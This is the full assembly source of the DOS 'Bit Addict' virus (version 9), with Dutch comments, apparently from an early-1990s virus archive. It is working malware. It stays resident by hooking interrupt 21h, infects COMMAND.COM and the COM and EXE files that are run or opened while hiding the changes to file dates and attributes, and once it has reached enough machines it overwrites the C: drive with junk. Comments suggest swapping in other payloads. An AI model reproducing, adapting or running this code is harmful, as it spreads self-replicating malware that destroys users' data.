home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / ADDICT9.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  15KB  |  744 lines

  1. ; Bit Addict Versie 9
  2.  
  3. ;-----------------------------------------------------------------------------
  4. ;-----                                                                   -----
  5. ;-----              Macros en andere hulpmiddellen                       -----
  6. ;-----                                                                   -----
  7. ;-----------------------------------------------------------------------------
  8.  
  9. ; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter
  10. ; wordt dan 128 bytes en er dus een foutmelding komt
  11.  
  12. dfn    macro    Num1,Num2
  13.     db    Num1
  14.     dw    offset Num2
  15.     endm
  16.  
  17. jmpc    macro    Dest            ; vervanging voor jc
  18.     local    @@00
  19.  
  20.     jnc    @@00
  21.     jmp    Dest
  22. @@00:
  23.     endm
  24.  
  25. jmpnc    macro    Dest            ; vervanging voor jnc
  26.     local    @@00
  27.  
  28.     jc    @@00
  29.     jmp    Dest
  30. @@00:
  31.     endm
  32.  
  33. jmpe    macro    Dest            ; vervanging voor je
  34.     local    @@00
  35.  
  36.     jnz    @@00
  37.     jmp    Dest
  38. @@00:
  39.     endm
  40.  
  41. jmpne    macro    Dest            ; vervanging voor jne
  42.     local    @@00
  43.  
  44.     jz    @@00
  45.     jmp    Dest
  46. @@00:
  47.     endm
  48.  
  49. eseg segment
  50.     mov    ax,4c00h        ; exit
  51.     int    21h
  52. eseg ends
  53.  
  54. ;-----------------------------------------------------------------------------
  55. ;-----                                                                   -----
  56. ;-----              Begin van het Bit Addict virus                       -----
  57. ;-----                                                                   -----
  58. ;-----------------------------------------------------------------------------
  59.  
  60. cseg segment
  61.     assume    cs:cseg,ds:cseg,es:cseg
  62.     org    0
  63.  
  64. BeginCode    equ    $                ; begin van het virus
  65.  
  66. CodeSize    equ    CodeEnd-BeginCode        ; de grootte van het
  67. CodeSizePara    equ    (CodeEnd-BeginCode+0fh) / 10h    ; virus achter een file
  68.  
  69. VirusSize    equ    VirusEnd-BeginCode        ; de grootte van het
  70. VirusSizePara    equ    (VirusEnd-BeginCode+0fh) / 10h    ; virus in het geheugen
  71.  
  72. HeaderLength    equ    18h                ; grootte van een
  73.  
  74. SavedCode    equ    this byte            ; gegevens over het
  75. OldSignature    dw    5a4dh                ; programma voor het
  76. OldCSIP        equ    this dword            ; virus
  77. OldIP        dw    0
  78. OldCS        dw    0
  79. OldSP        dw    200h
  80. OldSS        dw    0
  81. OldPartPage    dw    0
  82. OldPageCount    dw    0
  83.  
  84. Begin:    push    ax                ; Programma om het virus
  85.     push    ds                ; resident te laten blijven
  86.     push    es                ; en om de comspec te
  87.     call    Init                ; infecteren
  88.     jnc    @@12
  89.     call    BiosCheck            ; Als bit addict op een andere
  90.     push    cs                ; computer draait wordt er een
  91.     pop    es                ; teller verhoogt.
  92.     xor    al,al
  93.     mov    cx,VirusSize-CodeSize        ; zet alle variabelen op nul
  94.     mov    di,CodeSize
  95.     cld
  96.     rep    stosb                ; debug interrupt 21h om het
  97.     call    DebugOn                ; orginele interrupt te vinden
  98.     pop    es
  99.     push    es
  100.     mov    ah,4ah                ; en reserveer geheugen voor
  101.     mov    bx,-1                ; bit addict.
  102.     call    DOS
  103.     push    bx
  104.     call    DebugOff
  105.     pop    bx
  106.     mov    ax,cs
  107.     pop    dx
  108.     push    dx    
  109.     sub    ax,dx
  110.     add    ax,cs:MinMem
  111.     add    ax,CodeSizePara+VirusSizePara+1
  112.     cmp    bx,ax
  113.     jb    @@12
  114.     mov    ah,4ah
  115.     sub    bx,VirusSizePara+1
  116.     int    21h
  117.     jb    @@12
  118.     mov    ah,48h
  119.     mov    bx,VirusSizePara
  120.     int    21h
  121.     jb    @@12
  122.     mov    es,ax
  123.     dec    ax
  124.     mov    ds,ax
  125.     mov    word ptr ds:[1],8
  126.     call    CopyBitAddict            ; Copieer bit addict naar
  127.     pop    es                ; het gereserveerde geheugen
  128.     push    es                ; Infecteer bestand in de
  129.     call    InfectComspec            ; comspec
  130. @@12:    pop    es
  131.     pop    ds                ; ga nu verder met het
  132.     pop    ax                ; programma voor Bit Addict
  133.     cli
  134.     mov    ss,cs:OldSS
  135.     mov    sp,cs:OldSP
  136.     sti
  137.     jmp    cs:OldCSIP
  138.  
  139.  
  140. Comspec        db    'COMSPEC='    ; comspec environment variabele
  141.                     ; om de command.com te vinden
  142.  
  143. ID        dw    0DEADh        ; hier wordt het virus herkend
  144.                     ; als het in het geheugen staat
  145.  
  146. Count        dw    0        ; In deze variabele staat op
  147.                     ; hoeveel verschillende
  148.                     ; computers het virus is
  149.                     ; geweest
  150. Bios        db    10h dup(0)    ; Gegevens over de bios,
  151.                     ; door dit te vergelijken met
  152.                     ; de bios kan het virus weten
  153.                     ; of het virus op een andere
  154.                     ; computer draait
  155.  
  156. CopyBitAddict:
  157.     push    cs                ; copieer Bit Addict naar de
  158.     pop    ds                ; gereserveerde buffers
  159.     xor    si,si
  160.     xor    di,di
  161.     mov    cx,VirusSize
  162.     cld
  163.     rep    movsb
  164.     xor    ax,ax                ; leid interrupt 21h om naar
  165.     mov    ds,ax                ; Bit Addict
  166.     mov    word ptr ds:[84h],offset NewInt21
  167.     mov    word ptr ds:[86h],es
  168.     ret
  169.  
  170. InfectComspec:
  171.     mov    es,es:[2ch]            ; lees environment segment
  172.     xor    di,di
  173.     push    cs                ; zoek naar de comspec
  174.     pop    ds                ; variabele
  175.     mov    si,offset Comspec
  176. @@30:    push    si
  177.     push    di
  178.     mov    cx,8
  179.     cld
  180.     repe    cmpsb
  181.     pop    di
  182.     pop    si
  183.     je    @@31
  184.     xor    al,al
  185.     mov    cx,-1
  186.     cld
  187.     repne    scasb
  188.     cmp    byte ptr es:[di],0        ; is dit de laatste variabele ?
  189.     jne    @@30
  190.     jmp    short @@33
  191. @@31:    push    es                ; infecteer de COMMAND.COM of
  192.     pop    ds                ; andere command interpreter,
  193.     cmp    byte ptr ds:[di+9],':'        ; maar doe dit alleen wanneer
  194.     jne    @@32                ; de comspec naar de c of de
  195.     mov    al,ds:[di+8]            ; d-drive wijst.
  196.     and    al,0dfh
  197.     cmp    al,'C'
  198.     je    @@32
  199.     cmp    al,'D'
  200.     jne    @@33
  201. @@32:    lea    dx,[di+8]
  202.     push    cs:OldIP            ; bewaar alle variabelen die
  203.     push    cs:OldCS            ; we nog nodig hebben.
  204.     push    cs:OldSP
  205.     push    cs:OldSS
  206.     call    Infect                ; infecteren
  207.     pop    cs:OldSS            ; herstel alle variabelen die
  208.     pop    cs:OldSP            ; we nog nodig hebben
  209.     pop    cs:OldCS
  210.     pop    cs:OldIP
  211. @@33:    ret
  212.  
  213. DebugOn:push    ax                ; deze procedere is om de
  214.     push    ds                ; trap-flag te zetten, en
  215.     xor    ax,ax                ; interrupt 1 te initialiseren
  216.     mov    ds,ax
  217.     cli
  218.     mov    ax,ds:[4h]
  219.     mov    word ptr cs:OldInt1[0],ax
  220.     mov    ax,ds:[6h]
  221.     mov    word ptr cs:OldInt1[2],ax
  222.     mov    word ptr ds:[4],offset NewInt1
  223.     mov    word ptr ds:[6],cs
  224.     mov    ax,ds:[84h]
  225.     mov    word ptr cs:OldInt21[0],ax
  226.     mov    ax,ds:[86h]
  227.     mov    word ptr cs:OldInt21[2],ax
  228.     mov    word ptr cs:DosInt21[0],0
  229.     mov    word ptr cs:DosInt21[2],0
  230.     pushf
  231.     pop    ax
  232.     or    ah,1
  233.     push    ax
  234.     popf
  235.     sti
  236.     pop    ds
  237.     pop    ax
  238.     ret
  239.  
  240. DebugOff:                    ; deze procedure zet de
  241.     push    ax                ; trap-flag weer op nul en
  242.     push    ds                ; herstelt interrupt 1.
  243.     cli
  244.     pushf
  245.     pop    ax
  246.     and    ah,0feh
  247.     push    ax
  248.     popf
  249.     xor    ax,ax
  250.     mov    ds,ax
  251.     mov    ax,word ptr cs:OldInt1[0]
  252.     mov    ds:[4],ax
  253.     mov    ax,word ptr cs:OldInt1[2]
  254.     mov    ds:[6],ax
  255.     sti
  256.     pop    ds
  257.     pop    ax
  258.     ret
  259.  
  260. Init:    push    cs
  261.     pop    ds
  262.     cmp    OldSignature,5a4dh
  263.     je    @@50
  264.     mov    si,offset SavedCode        ; herstel begin van het
  265.     mov    di,100h                ; com-programma
  266.     mov    cx,Dead-ComHeader+2
  267.     cld
  268.     rep    movsb
  269.     mov    OldSS,ss            ; bewaar de waarden van
  270.     mov    OldSP,sp            ; ss,sp,cs en ip
  271.     sub    OldSP,10h
  272.     mov    OldCS,es
  273.     mov    OldIP,100h
  274.     jmp    short @@51
  275. @@50:    mov    ax,es                ; bereken de waarden van
  276.     add    ax,10h                ; ss,sp,cs en ip
  277.     add    OldCS,ax
  278.     add    OldSS,ax
  279. @@51:    mov    ax,4b40h            ; controleer of Bit Addict al
  280.     int    21h                ; in het geheugen aanwezig is
  281.     jc    @@52
  282.     mov    ds,ax
  283.     mov    ax,word ptr ds:ID        ; vergelijk identificatie
  284.     cmp    ax,word ptr cs:ID
  285.     je    @@52
  286.     stc
  287. @@52:    ret
  288.  
  289. BiosCheck:                    ; deze procedure vergelijkt
  290.     mov    ax,0ffffh            ; de bios, met de gegevens
  291.     mov    ds,ax                ; over de bios in het virus,
  292.     push    cs                ; zijn deze niet gelijk, dan
  293.     pop    es                ; zal het virus op een andere
  294.     xor    si,si                ; computer draaien, en wordt
  295.     mov    di,offset Bios            ; er een teller verhoogt, komt
  296.     mov    cx,10h                ; deze teller boven de 255 dan
  297.     cld                    ; zal het bit-addict virus
  298.     repe    cmpsb                ; actief worden.
  299.     je    @@54
  300.     mov    ax,cs:Count
  301.     inc    ax
  302.     cmp    ax,100h
  303.     jb    @@53
  304.     call    BitAddict
  305. @@53:    mov    cs:Count,ax
  306.     xor    si,si
  307.     mov    di,offset Bios
  308.     mov    cx,10h
  309.     rep    movsb
  310. @@54:    ret
  311.  
  312. BitAddict:                    ; in deze procedure wordt
  313.     xor    dx,dx                ; de c-drive overscreven met
  314. @@55:    push    dx                ; onzin, dit mag verandert
  315.     mov    ax,3                ; worden, om het virus iets
  316.     xor    bx,bx                ; anders te laten doen, een
  317.     mov    cx,40h                ; muziekje spelen, of met het
  318.     int    26h                ; toetsenbord spelen
  319.     pop    ax                ; bijvoorbeeld.
  320.     pop    dx
  321.     add    dx,40h
  322.     or    dx,dx
  323.     jne    @@55
  324.     ret
  325.  
  326. NewInt1:push    bp                ; deze procedure wordt
  327.     mov    bp,sp                ; gebruikt bij het debuggen
  328.     push    ax
  329.     mov    ax,word ptr cs:DosInt21[0]
  330.     or    ax,word ptr cs:DosInt21[2]
  331.     jnz    @@60
  332.     cmp    word ptr ss:[bp+4],300h
  333.     jae    @@61
  334.     mov    ax,ss:[bp+2]
  335.     mov    word ptr cs:DosInt21[0],ax
  336.     mov    ax,ss:[bp+4]
  337.     mov    word ptr cs:DosInt21[2],ax
  338. @@60:    and    word ptr ss:[bp+6],0feffh
  339. @@61:    pop    ax
  340.     pop    bp
  341.     iret
  342.  
  343. DOS:    push    ax                ; roept interrupt 21h aan.
  344.     mov    ax,word ptr cs:DosInt21[0]
  345.     or    ax,word ptr cs:DosInt21[2]
  346.     pop    ax
  347.     jnz    @@62
  348.     pushf
  349.     call    cs:OldInt21
  350.     ret
  351. @@62:    pushf
  352.     call    cs:DosInt21
  353.     ret
  354.  
  355. Functions:                    ; dit is een tabel met alle
  356.     dfn    3ch,Open            ; dos-functies die door
  357.     dfn    3dh,Open            ; bit-addict verandert worden
  358.     dfn    3eh,Close
  359.     dfn    3fh,Read
  360.     dfn    40h,Write
  361.     dfn    4bh,Exec
  362.  
  363. NewInt21:                    ; Het nieuwe interrupt 21h
  364.     pushf
  365.     push    bx
  366.     push    bp
  367.     mov    bp,sp
  368.     mov    bx,offset Functions
  369. @@63:    cmp    ah,cs:[bx]
  370.     je    @@68
  371.     add    bx,3
  372.     cmp    bx,offset NewInt21
  373.     jne    @@63
  374.     pop    bp
  375.     pop    bx
  376. EOI:    popf
  377.     jmp    cs:OldInt21
  378. @@68:    mov    bx,cs:[bx+1]
  379.     xchg    bx,ss:[bp+2]
  380.     pop    bp
  381.     ret
  382.  
  383. InstallCheck:                    ; Zo kan bit addict weten
  384.     mov    ax,cs                ; dat er al een andere copy
  385.     popf                    ; aanwezig is
  386.     clc
  387.     retf    2
  388.  
  389. Exec:    cmp    al,40h
  390.     je    InstallCheck
  391.     call    CheckExtension            ; functie 4bh, infecteer eerst
  392.     jc    EOI                ; met Bit Addict
  393.     popf
  394.     push    dx
  395.     push    ds
  396.     pushf
  397.     call    cs:OldInt21
  398.     pop    ds
  399.     pop    dx
  400.     pushf
  401.     call    Infect
  402.     popf
  403.     retf    2
  404.  
  405. Open:    call    CheckExtension            ; fn 3ch en 3dh
  406.     jc    EOI
  407.     call    cs:OldInt21
  408.     jc    @@92
  409.     pushf
  410.     push    ax
  411.     push    cx
  412.     push    si
  413.     push    di
  414.     push    es
  415.     push    cs
  416.     pop    es
  417.     mov    si,dx
  418.     mov    di,offset File1
  419.     cmp    word ptr es:[di],0
  420.     je    @@90
  421.     mov    di,offset File2
  422.     cmp    word ptr es:[di],0
  423.     jne    @@91
  424. @@90:    cld
  425.     stosw
  426.     mov    cx,70
  427.     rep    movsb
  428. @@91:    pop    es
  429.     pop    di
  430.     pop    si
  431.     pop    cx
  432.     pop    ax
  433.     popf
  434. @@92:    retf    2
  435.  
  436. Close:    cmp    bx,cs:File1            ; fn 3eh
  437.     je    @@93
  438.     cmp    bx,cs:File2
  439.     jne    EOI
  440.     call    cs:OldInt21
  441.     push    si
  442.     mov    si,offset File2
  443.     jmp    short @@94
  444. @@93:    call    cs:OldInt21
  445.     push    si
  446.     mov    si,offset File1
  447. @@94:    jc    @@95
  448.     pushf
  449.     push    dx
  450.     push    ds
  451.     push    cs
  452.     pop    ds
  453.     lea    dx,[si+2]
  454.     call    Infect
  455.     pop    ds
  456.     pop    dx
  457.     popf
  458. @@95:    mov    word ptr cs:[si],0
  459.     pop    si
  460.     retf    2
  461.  
  462. Read:    jmp    EOI                ; fn 3fh
  463.  
  464. Write:    jmp    EOI                ; fn 40h
  465.  
  466. CheckExtension:                    ; controleer of de extensie
  467.     push    ax                ; wel exe of com is
  468.     push    cx
  469.     push    si
  470.     push    di
  471.     push    es
  472.     push    ds
  473.     pop    es
  474.     mov    di,dx                ; zoek het einde van de
  475.     xor    al,al                ; file-naam
  476.     mov    cx,70
  477.     cld
  478.     repne    scasb
  479.     jne    @@65
  480.     std
  481.     mov    al,'.'                ; zoek de laatste punt
  482.     neg    cx
  483.     add    cx,70
  484.     std
  485.     repne    scasb
  486.     jne    @@65
  487.     lea    si,[di+2]
  488.     cld
  489.     lodsw                    ; eerste 2 letters
  490.     and    ax,0dfdfh            ; maak hoofdletters
  491.     cmp    ax,5845h            ; 'EX'
  492.     je    @@64
  493.     cmp    ax,4f43h            ; 'CO'
  494.     jne    @@65
  495.     lodsb                    ; 3e letter
  496.     and    al,0dfh
  497.     cmp    al,4dh                ; 'M'
  498.     je    @@66
  499.     jmp    short @@65
  500. @@64:    lodsb                    ; 3e letter
  501.     and    al,0dfh
  502.     cmp    al,45h                ; 'E'
  503.     je    @@66
  504. @@65:    stc
  505.     jmp    short @@67
  506. @@66:    clc
  507. @@67:    pop    es
  508.     pop    di
  509.     pop    si
  510.     pop    cx
  511.     pop    ax
  512.     ret
  513.  
  514. ComHeader:                    ; dit stukje wordt voor een
  515.     mov    ax,cs                ; COM-file geplaatst, en is om
  516.     add    ax,0100h            ; het virus te starten.
  517. OldSize    equ    this word-2
  518.     push    ax
  519.     mov    ax,offset Begin
  520.     push    ax
  521.     retf
  522. Dead    equ    $
  523.     dw    0DEADh                ; signature, om te controleren
  524.                         ; of een file al eens eerder
  525.                         ; besmet is.
  526.  
  527. Infect:    push    ax                ; Infecteer een file
  528.     push    bx
  529.     push    cx
  530.     push    si
  531.     push    di
  532.     push    bp
  533.     push    es
  534.     mov    ax,4300h            ; lees attributen en bewaar
  535.     call    DOS                ; ze
  536.     jmpc    @@83
  537.     push    cx
  538.     push    dx
  539.     push    ds
  540.     test    cx,1
  541.     jz    @@71
  542.     mov    ax,4301h            ; set Read-Only attribuut
  543.     and    cx,0fffeh            ; op nul
  544.     call    DOS
  545.     jmpc    @@82
  546. @@71:    mov    ax,3d02h            ; open de file
  547.     call    DOS
  548.     jmpc    @@82
  549.     mov    bx,ax
  550.     mov    ax,5700h            ; lees de datum en tijd en
  551.     call    DOS                ; bewaar ze
  552.     jmpc    @@81
  553.     push    cx
  554.     push    dx
  555.     push    cs                ; ds=es=cs
  556.     pop    ds
  557.     push    cs
  558.     pop    es
  559.     mov    ah,3fh                ; lees de header van de file
  560.     mov    cx,HeaderLength
  561.     mov    dx,offset Header
  562.     call    DOS
  563.     jmpc    @@80
  564.     cmp    ax,HeaderLength
  565.     jne    @@75
  566.     cmp    Signature,5a4dh            ; Controleer of ID aanwezig is
  567.     jne    @@72
  568.     cmp    ExeID,0DEADh
  569.     jmp    @@73
  570. @@72:    cmp    ComID,0DEADh
  571. @@73:    jmpe    @@80                ; als ID aanwezig is, stop dan
  572. @@74:    cmp    Signature,5a4dh
  573.     je    @@77
  574. @@75:    mov    ax,4202h            ; infecteer com-files
  575.     xor    cx,cx                ; ga naar het einde van de file
  576.     xor    dx,dx
  577.     call    DOS
  578.     mov    cx,10h                ; aanpassen van de com-header
  579.     div    cx                ; aan deze com-file
  580.     or    dx,dx
  581.     je    @@76
  582.     push    ax
  583.     mov    ah,40h
  584.     mov    cx,10h
  585.     sub    cx,dx
  586.     xor    dx,dx
  587.     call    DOS
  588.     pop    ax
  589.     jmpc    @@80
  590.     inc    ax
  591. @@76:    add    ax,10h
  592.     mov    OldSize,ax
  593.     mov    si,offset Header        ; bewaar het eerste deel van
  594.     mov    di,offset SavedCode        ; het programma
  595.     mov    cx,Dead-ComHeader+2
  596.     cld
  597.     rep    movsb
  598.     mov    ah,40h                ; schrijf het virus achter het
  599.     mov    cx,CodeSize            ; programma
  600.     xor    dx,dx
  601.     call    DOS
  602.     jmpc    @@80
  603.     mov    ax,4200h            ; ga naar het begin van de file
  604.     xor    cx,cx
  605.     xor    dx,dx
  606.     call    DOS
  607.     jmpc    @@80
  608.     mov    ah,40h                ; overschrijf het begin van het
  609.     mov    cx,Dead-ComHeader+2        ; programma met de com-header
  610.     mov    dx,offset ComHeader
  611.     call    DOS
  612.     jmp    @@80
  613. @@77:    mov    di,offset SavedCode        ; infecteer exe-files
  614.     mov    ax,5a4dh            ; bewaar de oude waarden van
  615.     stosw                    ; cs:ip en ss:sp
  616.     mov    ax,ExeIP
  617.     stosw
  618.     mov    ax,ExeCS
  619.     stosw
  620.     mov    ax,ExeSP
  621.     stosw
  622.     mov    ax,ExeSS
  623.     stosw
  624.     mov    ax,PartPage
  625.     stosw
  626.     mov    ax,PageCount
  627.     stosw
  628.     mov    ExeID,0DEADh            ; Zet ID in exe-header
  629.     mov    ax,4202h
  630.     xor    cx,cx
  631.     xor    dx,dx
  632.     int    21h
  633.     mov    cx,10h
  634.     div    cx
  635.     or    dx,dx
  636.     je    @@78
  637.     push    ax
  638.     push    dx
  639.     mov    ah,40h
  640.     mov    cx,10h
  641.     sub    cx,dx
  642.     xor    dx,dx
  643.     call    DOS
  644.     pop    dx
  645.     pop    ax
  646.     jc    @@80
  647.     inc    ax
  648. @@78:    sub    ax,HeaderSize
  649.     mov    ExeCS,ax            
  650.     mov    ExeIP,offset Begin
  651.     add    ax,VirusSizePara
  652.     mov    ExeSS,ax
  653.     mov    ExeSP,200h
  654.     mov    ax,MinMem
  655.     cmp    ax,20h+VirusSizePara-CodeSizePara
  656.     jae    @@79
  657.     mov    ax,20h
  658. @@79:    mov    MinMem,ax
  659.     mov    ah,40h                ; schrijf het virus achter
  660.     mov    cx,CodeSize            ; de exe-file
  661.     xor    dx,dx
  662.     call    DOS
  663.     jc    @@80
  664.     mov    ax,4202h            ; Pas de file-lengte in de
  665.     xor    cx,cx                ; header aan, als de file veel
  666.     xor    dx,dx                ; overlays bevat, dan zal de
  667.     call    DOS                ; exe-file niet meer werken,
  668.     mov    cx,200h                ; maar de file kan wel hersteld
  669.     div    cx                ; worden.
  670.     cmp    dx,1
  671.     cmc
  672.     adc    ax,0
  673.     mov    PageCount,ax
  674.     mov    PartPage,dx
  675.     mov    ax,4200h
  676.     xor    cx,cx
  677.     xor    dx,dx                ; ga naar het begin van de file
  678.     call    DOS
  679.     jc    @@80
  680.     mov    ah,40h                ; schrijf de nieuwe exe-header
  681.     mov    cx,HeaderLength            ; over de oude heen.
  682.     mov    dx,offset Header
  683.     call    DOS
  684. @@80:    pop    dx                ; herstel de datum van de file
  685.     pop    cx
  686.     mov    ax,5701h
  687.     call    DOS
  688. @@81:    mov    ah,3eh                ; sluit de file
  689.     call    DOS
  690. @@82:    pop    ds                ; herstel de attributen van de
  691.     pop    dx                ; file
  692.     pop    cx
  693.     test    cx,1
  694.     jz    @@83
  695.     mov    ax,4301h
  696.     call    DOS
  697. @@83:    pop    es                ; herstel de waarden van de
  698.     pop    bp                ; registers en keer terug
  699.     pop    di                ; naar het oude interrupt 21
  700.     pop    si
  701.     pop    cx
  702.     pop    bx
  703.     pop    ax
  704.     ret
  705.  
  706. CodeEnd        equ    $
  707.  
  708. Header        dw    HeaderLength/2 dup(0)
  709. ComCS        equ    Header[OldSize-Comheader]    ; Com file
  710. ComID        equ    Header[Dead-ComHeader]
  711.  
  712. Signature    equ    Header[0h]            ; Exe file
  713. PartPage    equ    Header[2h]
  714. PageCount    equ    Header[4h]
  715. HeaderSize    equ    Header[8h]
  716. MinMem        equ    Header[0ah]
  717. MaxMem        equ    Header[0ch]
  718. ExeSS        equ    Header[0eh]
  719. ExeSP        equ    Header[10h]
  720. ExeID        equ    Header[12h]
  721. ExeIP        equ    Header[14h]
  722. ExeCS        equ    Header[16h]
  723.  
  724. DosInt21    dd    0
  725. OldInt21    dd    0
  726. OldInt1        dd    0
  727.  
  728. File1        dw    36 dup(0)
  729. File2        dw    36 dup(0)
  730.  
  731. VirusEnd    equ    $
  732.  
  733. cseg ends
  734.  
  735. sseg segment stack
  736.     db    200h dup(1)
  737. sseg ends
  738.  
  739. end Begin
  740. ;  ─────────────────────────────────────────────────────────────────────────
  741. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  742. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  743. ;  ─────────────────────────────────────────────────────────────────────────
  744.